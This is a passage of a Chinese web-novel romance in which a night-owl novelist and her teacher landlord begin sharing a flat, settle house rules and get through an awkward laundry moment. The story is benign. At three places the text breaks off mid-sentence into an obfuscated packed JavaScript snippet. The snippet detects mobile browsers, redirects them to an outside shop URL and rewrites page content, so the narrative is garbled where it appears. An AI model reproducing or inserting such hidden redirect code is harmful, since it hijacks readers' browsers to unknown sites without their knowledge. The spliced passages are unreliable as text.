夏听雨并不是故意偷听的,无奈他就在边上打的电话,听到他遇到麻烦的意思,到底是帮了她一把让她不至于睡大街的,本着友好念头她出声表达关切:“出什么事了?需要我帮忙吗?” 陆南川摇下晒衣杆,接过她手上的衣服挂上晾衣架,面不改色地说:“不算什么大事,就是之前住的教师宿舍近期要重新修缮,需要重新找个住处。” 夏听雨点点头哦,挂着衣架:“好像不太顺利?” “是不太好找。”陆南川摁掉打进来的电话,抬手捏了捏眉心,“实在不行我去酒店住一段时间。” 空气沉默下来,无声流转于客厅盘旋。 夏听雨拾起多余的衣架,看了眼他蹙起的眉峰,抿了抿唇,犹豫说道:“要不,你搬回来吧。” 4. 第 4 章 04 他似乎没听清,从屏幕上抬头疑惑反问,“你刚说什么?” 话一出口夏听雨其实就后悔了。竟然会主动邀请男生同居,她真是熬夜把脑子熬坏了。但是话都说出口了只能硬着头皮继续说:“我是说如果你实在找不到合适的住处,不如搬回来住。反正你的房间也空。” 陆南川蹙眉:“这不太好吧,房子已经租给你了。” 不提还好,一说房子夏听雨就想起在她即将无家可归时是谁好心“收留”她的,心里那点迟疑被过意不去的猛得一盆水冲刷干净。 她说道:“你就当我们是合租的呗。” 陆南川还有犹豫:“你不介意我是男的?” “不介意。”夏听雨丝毫不在意,“我以前租的套房也有男的。” 开始工作的时候因为没多少钱,加上不清楚租房市场的混杂,没经验地被中介忽悠着租过改造的串串房。三居室硬生生改成五间房,租户里不止有单身的和情侣,性别更是连第三性都有。和那样的环境相比,跟他合租算什么。 “就这么说好了,不许拒绝,不然我就不租你的房子了。”夏听雨直接大手一拍替他做了决定,“你要是实在觉得过意不去,就帮我分摊点水电费。” 陆南川露出勉为其难,闻言说:“应该的。” “不是,我开玩笑的。”她摆手,“你是房东我怎么敢让你出。” “一码归一码。” 陆南川坚持,还讲会退一半房租给她,夏听雨不肯,他也学她威胁,“不然我就不住了。” 夏听雨感动地望着他,感觉他浑身发着光、背后还有一对硕大而梦幻的白色大翅膀。 他是天使吧! 行随念动,她抿着下唇,伸手到他背后抓了抓。 “怎么了?” 陆南川困惑地视线往后扫,蹭到灰了? “你背后有光,还有翅膀。”夏听雨展眉,杏眼明亮得像阳光下泛着光的玻璃珠,话音带了翅膀扑飞,“没想到冬天都过了,竟然还会遇到心软的神,我也太幸运了!” 陆南川显然知道冬天神明这个梗,琢磨过味她话中的潜意思,平直的唇角弯着弧度,回应道:“你也是我的幸运神。” 夏听雨摆手嗐呀:“不敢当不敢当。” 合住事宜算是就这么定下来了,陆南川有心留下也被陆南星溢出屏幕的杀气催得只能暂时搁置。 他回房间收了几件衣物,和正在玩游戏的夏听雨打了招呼说接下来几天都不会在宜市,让她有事发消息后就在十八分钟的追杀出了门。 他走后每几分钟外卖也到了。夏听雨吃饱喝足赖在沙发刷着偶像的近况,乔曦视频就打了进来。 跟她东一句西一言地闲聊了半天,夏听雨捏住吸管在杯中旋转着吸溜完最后一口咖啡,又晃了晃,确定一点儿咖啡液都没有后才舍得起身丢垃圾。 晚饭时她把垃圾桶踢到了餐桌边装食物残余,餐桌又正对着大阳台。所以当她举着手机过去时,身后晾晒的男士外套就这么被乔曦捕捉到了,她讶异:“你那儿怎么还有男人的衣服?你背着我谈恋爱了?” 夏听雨啊:“什么鬼?” 乔曦给她指明方向:“别告诉我阳台上挂的外套是你的。” “你说那个啊。”夏听雨回扫了一眼,哦道,“陆南川的。” “他还没搬走?” “呃……怎么说呢,没搬也没必要。” “说人话!” 夏听雨躺回原位,言简意赅说道:“从今天开始我和他将要同住一段时间了。” “wtf?” 乔曦表情失控:“什么情况,你给解释清楚。”挥手赶走送水果的老公,八卦道,“姐连的wifi,不用给我省流。” 夏听雨:“省流版就是全部。” “喂!”身为思政老师的乔曦严肃道,“什么时间什么原因造成了同居的结果,逐一阐述清楚,只有答案没有过程扣三分!” “你也扣太多了吧,乔老师。” “那就不要省略过程。” 没办法,夏听雨只得端正态度把进度拉回代课的时间点开始讲,听完经过的乔曦点点头,安慰她:“你也不用因为和他住一起就有负担,其实他人挺好的。说起来他还帮过你呢。” “啊?” 见她不明所以,乔曦继续说:“你还记得高一七班的郭意吧?” 夏听雨摸摸下巴,脑中隐约浮现模糊的轮廓。 那会儿文理还没分科,隔壁班有一个独来独往的女生。因为发育比同龄人好,也不爱说话,时间长了年级上就有一些她的绯色传闻,说什么校外男友啊,怀孕啊之类离谱的谣言。 有一回夏听雨打水路过,听到有几个男生在对着前面走过的女生身材讲下流话。她听不下去了,拧开保温杯盖子直接泼了对方一脸。 虽然当时杯子是冷水,但夏听雨还是被请了家长。 乔曦说:“本来你要写检讨的,后来陆南川去了办公室一趟,听说是跟主任理论去了。大致意思是如果像你这样保护同学的都要受罚,之后面对不平更不会有人出头,校园霸凌只会越来越严重这样。” 夏听雨一惊,没想到背后竟然还有这样的事。 这么说来他还真是她的神明啊,两次帮她渡过难关。 * 陆南星住的小区跟陆南川家同属一个区域,开车过去十分钟,他到的时候菜刚好上齐,跟开门的姐夫打过招呼,换鞋进门。 “哦呦,这不是我们需要三催四请的陆大少爷嘛,我还以为你不来呢,我瞧瞧……”陆南星松开趴在腿上扯着她衣摆蝴蝶结丝带咬的闺女,拿起桌上的手机戳开计时器,“十八分三十一秒。” 棕白色的布偶猫下了妈妈的腿,双手撑地懒懒地下了个腰,舒展四肢后带着好奇的目光走向陆南川,喵呜喵呜地蹭他撒娇。 陆南川脚尖轻推开它,将水果店买的水果放置在茶几,弯腰蹲下,伸手安抚追过来的小黏人精。 布偶猫毛多蓬松,厚重扎实的毛发在手心带起一片柔软。 他用手背给小猫挠下巴,一边回他姐:“刚好二十分钟,我可没超时。” “你不来更好!” 陆南星抓起手边的纸团扔过去,被他轻易躲开。“那我现在走?” “信不信我打死你!”又揉了团扔过去。 陆南川依旧轻巧避过,伸手捂住布偶的眼睛,“MOMO别学你妈的凶残。” 陆南星脱下拖鞋想要打人,她老公恰好端菜出来,看着打闹的姐弟两见怪不怪地笑着招呼吃饭,她这才松手开恩,放他一马。 陆南川捡起散落的纸团收进垃圾桶去洗手,洗到一半他姐出现在卫生间门口,想起什么般倚着门框问道:“给你打电话你在跟谁说话呢,什么麻烦?你被学校炒了?” “……” “放心,你被炒了我都不会被炒。”陆南川关上水龙头,抽了两张纸巾擦擦手,扯出一个无可奉告的假笑,气得陆南星又手痒了。 吃完饭陪夫妻两闲话到九点半,陆南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165635|196702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 川明天还要坐高铁去山城开会,便准备告辞了。 陆南星送到电梯口把垃圾递过去,想着山城最近的天气,提醒他记得带伞。 “还有你那把黄色的幼稚伞什么时候扔啊?” “你管我。”电梯上来了,陆南川抬脚走进轿厢回说,“走了。” “回去开车慢点。” “知道了。” 地下停车场里,陆南川坐上驾驶座扭头拉过安全带去卡卡扣,忽然瞥到袖口上面沾了一小团白色猫毛。 MOMO最近在换毛期,整只猫像一团蒲公英走到哪儿毛就跟着飘到哪,陆南川猜测是陪它玩给它顺毛那会儿黏上的。 他手指压住猫毛搓在一起扯下来,在指腹间轻捻。柔软的触觉让他不由想起傍晚曾流连在手心的毛衣,也是这样轻盈,手感却截然相反的糙粝。 陆南川盯着猫毛出了出神,忍不住拿出手机,点开微信。 她的头像是一个长头发的动漫女生,怀中抱着花,弯着眼睛,笑得明媚又张扬。 对话依旧停留在她搬来那天的寒暄,问她在干什么觉得太突兀,聊其他的又找不到话题。陆南川的手指悬停在键盘上始终敲不下一个标点。 退出对话框,点进朋友圈,念想的对象一分钟前发了条带截图的动态。 Xia:被打劫了,还我巨款[大哭] 截图内容是她跟别人的对话,貌似是没达成什么发了个红包。 估计有人说了什么,她在下面回复:闭嘴!你知道赚五毛要写几千字吗,怎么就不算巨款了[捶打] 透过表情包陆南川甚至能想象到她吹鼓着脸颊气呼呼回复的样子。 他点了赞,忽然有了想法,重新点开微信,将之前她付的季度房租转了一半过去。 不出十三秒,她回了个问号。 陆南川:【说好的退一半房租】 头像下面切换成“正在输入中”,过了五秒后,回信才过来。 【这怎么好意思呢】 【不过我觉得不收下你应该也会有负担,就先收了】 夏听雨喜滋滋收下转账,因为鸽了芥末菜被薅走五毛而堵塞的心瞬间被退还的一半租金给疏通了,顿时神清气爽。高兴之余,大发慈悲地给芥末菜又补了三毛。 芥末菜秒回:【你发财了?】 夏听雨踩着滑轮出场,春风得意:【恭喜我吧,在春末遇到了心软的房东】 芥末菜:【滚!】 夏听雨没得意两天。 由于操作失误,她在复制存稿进后台保存时不小心设置错了时间,把原本下个月才会发表的章节定成了立即发布,导致不得不提前开文。 芥末菜得知后连笑了一个玩上,很过分得发了条微博嘲笑她。 夏听雨看着她评论区满屏的“哈哈哈哈”,捏拳捶床悔恨交友不慎,边爬坐起来给某人发送比武帖:“来两千,决一死战!” 芥末菜欣然迎战,并压了五毛彩头。 于是两只菜鸡作者在拼字房间呆了整整十三个小时,最后夏听雨以一个字数之差险胜。 她扬眉吐气地长出了口气,收下胜利的果实,起身时越过窗帘缝隙看到天边泛起的鱼肚白才猛然惊觉竟然又熬到了早上,赶紧上完厕所回床。 熬了一夜,身体极度疲惫,听着嘲哳鸟鸣没多久她便陷入了深眠。 再醒来是被尿意憋的,她迷迷糊糊下床,刘海遮住了视线,致使她没有发现客厅多了个人,更不知道从开门起有道视线就一直追着她进入洗浴间。 5. 第 5 章 05 下午的太阳灿烈,日光和煦,照进来将客厅照得明亮。 陆南川是下午两点十分五的高铁到宜市,到家已近三点,进门后他第一时间去看夏听雨的卧室,房间门紧闭,家里静寂无声,只有浮沉兀自在光线下欢乐飞舞。 下午没有课陆南川简单冲了澡,翻出行李箱里的旧衣服连同换下来的一起丢进洗衣机,按了启动程序,回房间拿了笔电坐客厅写教案。 洗衣机停止运转,他沉浸在工作中太过专注并没有听见,直到一声轻微的“咔哒”,一道细窄的光束呈倒三角从门口蔓延至他笔电的边缘。 陆南川手下继续工作,头却顺着光束指引转了过去,掀起眼皮瞟了一眼。 他以为无人的房间慢慢打开,夏听雨从里头出来,头发被她睡得毛毛燥燥的,整个人半睁不醒迷迷瞪瞪的,肩膀擦着墙面缆车滑行般摸进了洗浴间。 陆南川指尖停在触摸板上顿了半秒,切下一页PPT,视线却追随着。 过了片刻,开门声再度响起,他停下手抬眸,看她无所察觉地走到门口后又踅足回来,一头栽进沙发,脚上拖鞋东一只西一只脱落。 陆南川也不出声,后靠椅背猜她几时能发现他。 日光溶溶,带着热意的风穿过纱幔抚过她的脸颊,空气刘海下的脸颊白净可爱,陆南川望着她熟悉中透露着陌生的眉眼出了神。 春城四季如春,十月底也依旧濡热难捱,足球场上冬季运动会如期举行,烈阳炙烤着操场上每一张奔跑的笑脸,气氛热烈。 学生会负责协助维持运动会的秩序和各项目的正常展开。 陆南川巡检过一圈,到了该休息的时间,回到主席台前跟学生会的成员知会了声就换岗回教室换衣服。穿过十三班门口听见里面有声音。 教室里七八个人,稀稀拉拉坐在讲台前排,有一人拿着粉笔在黑板上写写画画,剩下几个就在那胡猜。 陆南川视线梭过角落,脚步却慢了下来。 靠窗倒数第二排临过道的座位上,夏听雨抱着校服外套垫在上面当枕头在睡觉。那时她脸上尚未褪去,带点婴儿肥的脸颊被压得变形,没剪过刘海的额头圆润饱满。阳光从吹起的窗帘后面进来跳在她脸上,照得几根碎发绒发光。 可能是那几人太吵了,陆南川看她蹙起眉头,脑袋一扭埋进胳膊里,直留一个扎着马尾的后脑勺。 “听雨、夏听雨!” 过了会儿,有女同学从楼梯间爬上来一路喊着跑进教室,将她摇醒,“醒醒,快别睡了,马上就到你的项目了!” 陡然被叫醒,她一脸懵,啊,“什么呀?” “什么什么,马上就该你比赛了!” 女同学抓着她的肩膀使劲摇晃,她像只待宰的小鸭子被人捏着脖颈又捧过脸轮番用刑。 “嗷!”脸上的揉被捏起一团,夏听雨呼痛地站起来,“疼……” “疼就对了,醒了没?” 广播里响起接下来即将进行的项目,通知各选手准备检录。夏听雨揉着脸颊听到杏眼倏然瞪大,终于想起还有个比赛。 “完了完了,我忘了我还报了扔铅球要来不及了快走快走!”她着急地跺了跺脚,往操场看了眼拉着同学就往外冲。 越过陆南川时两人目光在慌乱中匆匆相遇,她露出一丝意外,奔跑的脚步并未停下,倒跑着朝他挥挥手喊道:“有空来给我加油呀!” 没等到回应,就跟着同学消失在楼梯间。 突兀的闹铃将陆南川从回忆里拽回来。他回神收起情绪拿起手机关了闹钟,再回眸却迎上了一双呆滞的鹿眼,心口蓦然空了一拍,长睫抖颤。 他清咳,自然地打招呼:“醒了?” 夏听雨睡懵了,脑子还在缓慢重启中,歪头惺忪的睡眼盯着陆南川在识别他是谁,过了两秒才点头,“嗯。” 他不信:“真醒了?” “嗯。” “真的?” “……” 在他一遍又一遍的反复询问下,夏听雨眼神从茫然到清明,抓了抓头发打哈欠:“早。” 陆南川扫了眼笔电右下角的时间提醒:“已经下午四点了。” “哦。”夏听雨靠回靠背,闻言扭头瞥了眼被夕阳果汁染色的阳台,从善如流,“那晚上好。” 陆南川失笑一声,回好:“晚上好。” 后背没垫的咯得疼,夏听雨随手抓过只靠枕垫在腰后,换了个舒服的姿势,看他面前搁着电脑,没话找话:“你在干什么呀?” “写课件。” 夏听雨点点头哦了声,之后沉默。她坐着缓了缓困意,观察到他穿着家居服,出于维护邻里关系合谐的必要,她再度主动搭话:“你什么时候回来的啊?我都没听到声音。” “下午三点左右到家的。”陆南川贴着示例图,头往她方向侧移几度,说道,“我也以为你没在家。”见她拿着手机出来,补了一句,“今天不用上班?” 刚起床夏听雨不想吃太重口的或者太腻的,她在虾滑青菜粥和金汤肥牛豆汤饭里纠结,闻言玩笑道,“要饭的,不用上班。” “自由职业吗?”陆南川自然不信,结合她那条朋友圈猜测道,“小说作者?” “你怎么知道!” 夏听雨惊诧抬眼:“曦曦告诉你的?” “猜的。” “哈?” “开玩笑。”他说,“是你朋友圈的评论回复告诉我的。” 经他一提醒夏听雨也记起那条动态,但自由职业覆盖面这么多,凭文字吃饭的也不少,能一句话猜出她的职业也是挺厉害的,她还是不服:“编剧也有可能啊?你怎么不猜。” 贴完数值最后一页PPT也做完了,陆南川点击保存用U盘拷贝,听到困惑转过去面向她,手臂靠着扶手嘴角蓄起明显的笑。 “一来就蒙对了,你也没给我继续猜的机会。” “……” 早知道她就死不承认了。 夏听雨撇撇嘴嘀咕,也难得挑了,选了金汤肥牛豆汤饭下完单,手机随便往沙发上一丢就去刷牙,出来时陆南川已经回房了。 卧室门没掩紧,路过门口能听到他在打电话,隐约从里面飘出“试验数据”“差值”等字眼,夏听雨听不懂,撇开注意切去后台看数据。 新书连载几天了,除了几个新读者大部分评论都是熟悉的ID,她一边翻阅一边等外卖,门禁响起时同步接到外卖小哥打来的电话。 她从门口接过外卖放到餐桌上,拿了平板支起,挑了部时下很火的户外综艺,拆开打包袋取出餐盒和一次性餐具用餐。 陆南川和学生打完电话一出来就看到她盘坐在椅上,一手筷子一手拿着塑料勺子吃着饭,眉弯着,笑声嗤嗤得很收敛。 陆南川靠着门框,环臂望着她。 这一期不愧是霸榜热搜的存在,嘉宾都太有梗了,节目一开始就笑点云集,怕打扰到陆南川夏听雨抓着裤腿尽量小声些。 “哈哈哈哈……”她忍不住笑出声后连忙捂嘴收住,小心翼翼地扭头,对上不知站了多久的人,咦:“你电话打完啦?” 陆南川嗯,视线右移,扫向她面前的汤饭:“这么早就吃晚饭了?” “不是,早饭。” 夏听雨咽下嘴里的汤泡饭,抽了张纸擦擦嘴角纠正,见他目露疑惑,她解释道:“这是我起床后的第一顿饭。” 陆南川点点头,没有在这个话题上纠结,转身去厨房翻开洗衣机,将里面洗好脱干的衣服捞出来穿好衣架,拿去挂。 摇下晾衣架,转眼间一抹粉色忽得闯入视野,是条樱花粉蕾丝内裤,同衣架背面还吊着同色系的文胸。 陆南川思绪一空,目光被灼到,仓皇挪开视线,缓解地低咳了两声下意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165636|196702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫夏听雨。 播放器重新调过音量,电视的声音盖过了他的叫声。 陆南川唇线抿了抿,快速晾挂完衣服走到餐厅,屈指敲了敲桌面。 夏听雨嘴里嚼着肥牛卷和黄瓜丝,暂停进度,仰头:“咋了?” 陆南川视线下垂,落在屏幕上男明星熟悉的面孔,清清嗓音,抬手蹭了下滚烫的耳根:“有时间吗?我们聊聊。” 夏听雨瞥到他泛红的耳根,眨了眨眼,以至于反应慢了,她哦:“好啊,你等我吃完哈。” 他嗯一声,说:“不着急。” 说完直接推门回了房间,夏听雨加快速度吃完收拾干净垃圾,去敲门说她吃完了。 陆南川应声说“稍等”,过了会儿拿了张纸出来,示意去客厅聊。 两人在茶几边面对面坐下。 陆南川往前坐,拿出刚写好的协议,直入主题:“既然接下来我们会住在一起,那有些事还是提前说比较好,免得后面发生不必要的争执闹不愉快。” 夏听雨赞同地点点头。 “房租、水电煤气物业这些基础费用咱们AA。扫把卫生纸垃圾袋之类日常损耗到时候坏了再说。” “厨房的话我吃饭几乎都在学校食堂,平时很少在家做,你用就是,包括厨具调料,还有……” 他考虑得很全面,几乎把大大小小能想到的点都列了出来,夏听雨频频点头,表示很安心。 “最后还有一个问题。”陆南川说,“因为只有一个卫生间,需要分开使用,下来商量看是分时段还是谁先洗。” “不用商量。”夏听雨说道,“我不用上班不急着洗漱洗澡,等你用完再用就是。” 陆南川说也行。 “你看看还有什么问题或是条件需要添加的。” 他递来拟好的协议,夏听雨捡起浏览下来,都是刚才聊过的。她一向比较随遇而安,看完大致没什么问题,只是有一点。 “能不能加一句啊?”她举手。 陆南川拿笔,揭开笔盖:“你说。” 夏听雨双腿缩上去盘了个舒服的姿势,双手搭放在腿中间扣着底下的沙发套,沉吟了片刻斟酌着开口:“因为我不太喜欢见陌生人,所以如果你有朋友要来你得提前跟我商量,我好避开,当然最好不要。也不能在家里过夜,男女都不可以。” “当然最重要的一点,你有女朋友了一定要跟我讲,我会搬出去的。”她一口气说完,嗯得点头,“我说完了。” “那行。”陆南川盯着她,也做出承诺,“这点你放心。我不会带人过来,不会留宿,至于女朋友——”他顿了顿,目光扫过她,说道:“也不会有。” 夏听雨自然不会信他的保证,作为一个言情作者她深谙真香定律,她切道:“那谁知道,爱情可没有预兆。今天还是单身,谁知道明天会不会就被丘比特射中爱之箭。” 陆南川依旧坚持说不会:“至少在你脱单之前我都不会有。” 夏听雨当他是在保证她住在这里期间,他都不会带旁人回家,有些感动:“陆南川,你人真好。” 不愧是心软的神。 聊完之后便没什么可说的了,陆南川要出门一趟,换了身衣服,在玄关换鞋时想起什么叫了夏听雨一声说记得看消息之后,便开门离去。 夏听雨摸不着头脑地拿过平板,刚解锁一条微信跳出来。 L:【阳台的衣物干了,可以收了】 夏听雨更懵了,什么衣物,她最近两天都没洗衣服啊。 她困惑地扭头望去,落地窗前,如血残阳照映下,她内衣裤霸道且孤零地占据晾衣杆的一角,十分亮眼。 砰—— 夏听雨脑子被轰了,平静的瞳孔慢慢放大,像一滴水掉入水面,扩散。 她丢开平板,拖鞋都没穿几步狂奔过去撑下内衣裤,夕阳血溅满了整张白皙的脸庞。 6. 第 6 章 06 夏听雨跟乔曦讲完这则小插曲时没有丝毫意外的,收获了对方无情的嘲笑,满屏幕的“哈”,吵得眼睛疼。 “别笑了,我都快尴尬死了。抬头不见低头见的,我都不知道该怎么面对他了。”夏听雨接通视频,抱着靠枕宛如一条死鱼瘫在沙发上,崩溃地仰天长啸。 “冷静,没那么吓人。”乔曦倒了碗草莓,一边洗一边安抚她:“不就是被看到内衣内裤嘛,又不是在他面前裸奔。说不定人家现在都忘了。”关了水,端着草莓回到客厅,稀奇道:“之前去海边穿比基尼被浪冲翻子在沙滩上那么丢脸的事都没见你不好意思,现在晾一套内衣怎么就焦躁得要天塌了一样。” “那不一样。”夏听雨反驳。 “哪里不一样?” 夏听雨撇开黏在嘴里的头发,也说不清楚哪里不一样就是觉得浑身不对劲,卡壳半天挤出一句:“海边的人都是我不认识的过客,丢脸也只是一时的,但陆南川不一样啊,我认识他、他也认识我,我一想到以后一见到他就想到那个画面。” 她咦得抖了抖坐起来,形容不出来那种心理,“就是感觉非常羞耻。” 乔曦表示理解不了,咬了口草莓出损招:“是不是不平衡在作祟啊,要不你也去看一眼他的内裤?” “?” “我又不是变态!”夏听雨无语,哪有正常人专门去翻别人贴身物的。她听到吃东西的声音注意被分走,“你吃什么呢?” 乔曦给她看:“我老公他们基地的草莓。” 草莓放大在镜头前,个头饱满,因为刚洗的还沾着水珠,看起来新鲜又香甜,夏听雨被馋得直舔嘴皮:“我也要吃!” 春城在省东南,那里海拔普遍高于其他地区,常年四季如春。因着日照时长的优势,当地的水果不仅甜而且便宜,在省内是出了名的高品质。 乔曦接收到她巴巴的渴望眼神,无奈笑:“知道了,待会儿等浩哥回来我跟他说一声,让他明天去棚里给你摘筐新鲜的寄过去。” 乔曦的老公林浩是春城隔壁县的一名公务员。这几年都在基层,尤其互联网直播起来后就扎根在助农一线卖农产品,为表支持夏听雨还买过他们村的产品。 夏听雨闻言手指交叉到镜头跟她比心,嘟嘴附赠了一枚飞吻,“爱你!” “哦对了,你别又寄一大箱啊,回头我吃不完又得浪费。”去年年末的时候她寄了两箱葡萄,夏听雨和室友天天吃也没吃完,烂了一半。 “吃不完你给你那两个室友——陆南川多分点。”乔曦下意识要说她原先的两个室友,才反应过来夏听雨的室友现在换人了,话锋一改,给老公发完消息,揶揄道:“说不定看在吃的份上,下回他看到你晒内衣裤直接就帮你收起来了。” 好不容易忘记社死回忆的夏听雨:“……” 还是杀了她吧。 夏听雨战战兢兢地提着心,惟恐和陆南川碰上尴尬,结果得益于她阴间的作息,即使同在一个屋檐下中间只隔着一堵墙,两人也没什么机会碰上。 陆南川出门上课,她还在睡梦中。 陆南川下班回来,她窝在房间里苦命赶更新,除了上厕所或者取外卖不然很少出来。 他们就像太阳和月亮严格恪守着自己的时段,只偶尔在日落或者拂晓时分,昼夜交接时才短暂地碰个面打声招呼,随后擦身而过又投入各自的世界,互不打扰。更别提记得一则尴尬的小插曲。 周五下午陆南川没有课,去实验室看了一眼进程后便回来了,到家比往常要早。 进门时夏听雨也在,坐在沙发和茶几之间的过道里,桌面上立着的手机界面显示着某游戏。 她手里捧着一个汉堡在啃,听到开门声关了语音循声过来,腮帮鼓鼓的跟他问好说回来了。 陆南川颔首回应,弯腰打开鞋柜从暖色的毛绒兔拖鞋边上取下拖鞋换上,放了公文包,给自己倒了杯水。对她的作息已经有了明确的认知,缓步走近,随意问道:“今天又是几点起的?” 夏听雨抓过可乐吸了口,艰难咽下汉堡,纠正他的问法:“你应该问我几点睡的。” 陆南川问:“那你几点睡的?” 吞得太急喉咙被撑得像是撕开了一样,火辣辣的,夏听雨皱眉打了稍等的手势,又猛吸了口可乐,气泡刺激着内壁更不舒服。 她五官都皱在一起,撑着桌面想起身去倒水,面前适时多了只马克杯。 “谢谢。” 夏听雨感激地捧过来仰头就是吨吨吨一顿灌,冲缓了刺痛,等嗓子眼没那么难受了才将刚才的话接上:“早上八点。” 陆南川坐到对面,也蹙起眉:“你不打算活了?” “倒也不用这么毒舌。”夏听雨继续喝了几口水,低声嘀咕,“我还要办百岁宴呢。” “是吗?” 陆南川很是质疑,“一天一顿,晚上不睡白天不醒,这个作息我确实没看出来。” “……” 夏听雨噎了噎,咬着薯条伸出两根手指再度纠正他的数据:“今天起得早,这是第二顿。而且我有在努力调作息了来着。” 就是调了一年了也没调过来而已。 陆南川哇:“那真是恭喜,进步这么大。”他目光划过吃了一半的汉堡和可乐上,眼皮微微抬起,“三餐都不能保证,听你语气还挺骄傲啊。” 夏听雨:“毕竟也算进步了。” “我没在夸你。” “有什么关系。”夏听雨心态乐观得很,“一天变两顿,这可是我作息上一个里程碑的飞跃。要不是最近穷穷的真想给自己定做个奖杯。” 陆南川:“……” 空气一时沉默下来,话题聊不下去了,气氛静寂得有些尴尬。 夏听雨没有意识到,随口诧异:“你今天回来好早啊。” 陆南川嗯:“明天开始放清明,我把课调到了其他时间上,下午没什么事就先回来了。” “就是哦,你不提我都忘了要放清明节了。”夏听雨才反应过来都要放假了,她双手压后靠着沙发沿倒头,发出羡慕的呐喊,“我也想放假~” 自从全职写小说以后夏听雨的时间就只分为连载期和完结期。除了连载期会关注换榜日之外对时间的流逝越来越不敏感,尤其是节假日,也只在刷到别人朋友圈的动态才会意识到。 陆南川听着她的哀嚎,好笑道:“你天天放假还用得着羡慕我们?” “人类对统一放假的执念是一样。”夏听雨爬起来,递给了他一个你不懂的眼神,问道:“那你要回春城吗?” 兜里的手机响起微信提示音,陆南川看了眼。 陆南星的消息,问他明天什么时候走,要不要一起。 他明早还得去躺实验室安排任务,陆南川让他们先走,自己下午开车回去,边回夏听雨:“回,你呢?” “不去。”夏听雨摇摇头,抓起汉堡小口啃着面皮,“我们家主要是过年上坟,清明没那么讲究。而且回去了还要被念叨,算了,我遭不住。” 屏幕再度亮起,陆南川没动,掀起眼皮:“家里催婚?” 夏听雨抽了张纸包住侧边掉落的紫甘蓝捡起,继续叠折一次用干净的一面擦桌面上的沙拉酱,点点头昂得吐槽,“也不晓得他们着什么急,好像活不过第二天一样,每次一回去七大姑八大姨就轮番上来骗我去相亲。” “好几次说好的是家里人吃饭,到了才发现是相亲局。”她愤愤,“我姑还说我太挑了。废话,我爸妈就我一个女儿,以后所有东西都是留给我的,大小也是个小富婆,我不挑谁挑。” 话匣子打开收不住地倒了一罗筐,她巴拉巴拉说了一堆,向他寻求共鸣:“你家里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165637|196702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该也催吧。” 陆南川按键锁屏幕,动动唇,面不改色地说着反话:“我还好,家里人都不着急。” 夏听雨再度发出艳羡的感慨:“真好啊。” 她光顾着聊天忘了游戏还开着,基友芥末菜见她半天也没进队伍,喂喂喂地出声催促:“25,你干嘛呢?快进来啊。” 夏听雨才想起,在最后三秒倒计时,点进队伍。 她三两口吃完汉堡,丢掉垃圾,带上没喝完的可乐跟拿杯子去冲的陆南川说了声,回房间开麦。 芥末菜:“你刚怎么突然关语音了?” 夏听雨关好门,坐上飘窗台,解释道:“我室友回来了,不好开声音。” 芥末菜是晓得她搬了新家,却并不清楚她跟男生合租,只当她新室友爱安静,理解地哦了声没再多问,“认真点啊最后一把娱乐了,打完去干活。” 夏听雨操纵着游戏人物往中路蹦去,闻言不服:“什么啊,我一直很认真好吧!” “我不信,除非你单挑对面五人拿超神。” “五分投对吗?” “我错了,25大大最厉害了,求求了别搞!” “知道就好。” 说好的一局,结果两个又菜又不服输的女人在“下一把一定可以:”“再来一把”的自我催眠里打了三个小时。 退出游戏后夏听雨给芥末菜发了条微信让她先去开房,她先去接杯水。 打游戏时啃了三包霸王丝,她现在口干得不行,翻了冰箱,里面空荡荡的除了两个鸡蛋和一些不宜储存的调味品外啥都没有。 夏听雨撇撇嘴,倚着冰箱门犹豫是下楼去超市买瓶水还是点外卖,纠结半天还是下楼,回来进门时陆南川刚洗完澡从浴室出来。 他一手毛巾一手手机回着消息,上身穿着黑色短袖衫,垂坠感很好的休闲裤勾勒得一双腿越发修长,发尖滴着水,顺着轮廓滑入锁骨。 夏听雨抱着大桶矿泉水,目光不由自住地顺着臆想的水珠轨迹化滑落下来。他身材不错,宽肩窄腰,即使没有腹肌,肌肉精壮度也绝对不差。 或许是审视的视线太明显了,陆南川不解地歪点了下头,低头望了眼自己,“怎么?” 夏听雨回魂,自然不会坦白浮想翩翩了,干笑了声,烧水去。 受爸爸的影响夏听雨喝水喜欢喝开水,她倒了五分之一的在壶里,插好电烧水,过了一会儿陆南川吹完头发递给她一个购物袋。 “什么呀?”她问。 “我学生上次聚餐留下来的零食,你拿去吧。” “真的,那我不客气咯。”夏听雨自然不嫌弃,欢欢喜喜接过来,打开袋子,品种还挺多,不仅有辣条果冻巧克力,还有星球杯和面包。 “是紫米夹心面包。”夏听雨怀念地拿起一个,“以前上学最喜欢买这个吃了,现在都好久没看到了,没想到还没倒闭。” 